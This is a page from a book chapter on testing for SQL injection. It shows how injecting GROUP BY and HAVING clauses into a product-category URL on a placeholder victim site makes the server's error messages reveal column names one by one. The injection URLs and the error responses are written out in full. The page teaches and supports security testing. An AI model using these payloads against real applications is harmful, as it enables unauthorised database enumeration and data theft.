Justin Clarke Lead Author and Technical Editor Rodrigo Marcos Alvarez Dave Hartley Joseph Hemler Alexander Kornbrust Haroon Meer Gary O’Leary-Steele Alberto Revelli Marco Slaviero Dafydd Stuttard

44
 
Chapter 2 • Testing for SQL Injection
Application response:
Server Error in '/' Application.
Column '
products.productid
' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
The 
HAVING
clause is used in combination with the 
GROUP BY
clause. It can also be 
used in a 
SELECT
statement to filter the records that a 
GROUP BY
returns. 
GROUP BY
needs the 
SELECT
ed fields to be a result of an aggregated function or to be included in the 
GROUP BY
clause. If the requirement is not met, the database sends back an error 
displaying the first column where this issue appeared.
Using this technique and 
GROUP BY
you can enumerate all the columns in a 
SELECT
statement:
http://www.victim.com/showproducts.aspx?category=bikes' GROUP BY productid 
having '1'='1
Application response:
Server Error in '/' Application.
Column '
products.name
' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
In the preceding example, we included the previously discovered column 
productid
in the 
GROUP BY
clause. The database error disclosed the next column, 
name
. Just keep appending 
columns to enumerate them all:
http://www.victim.com/showproducts.aspx?category=bikes'
GROUP BY productid,name having '1'='1
Application response:
Server Error in '/' Application.
Column '
products.price
' is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.
Once you have enumerated the column names you can retrieve the values using the 
converting error technique that you saw earlier:

---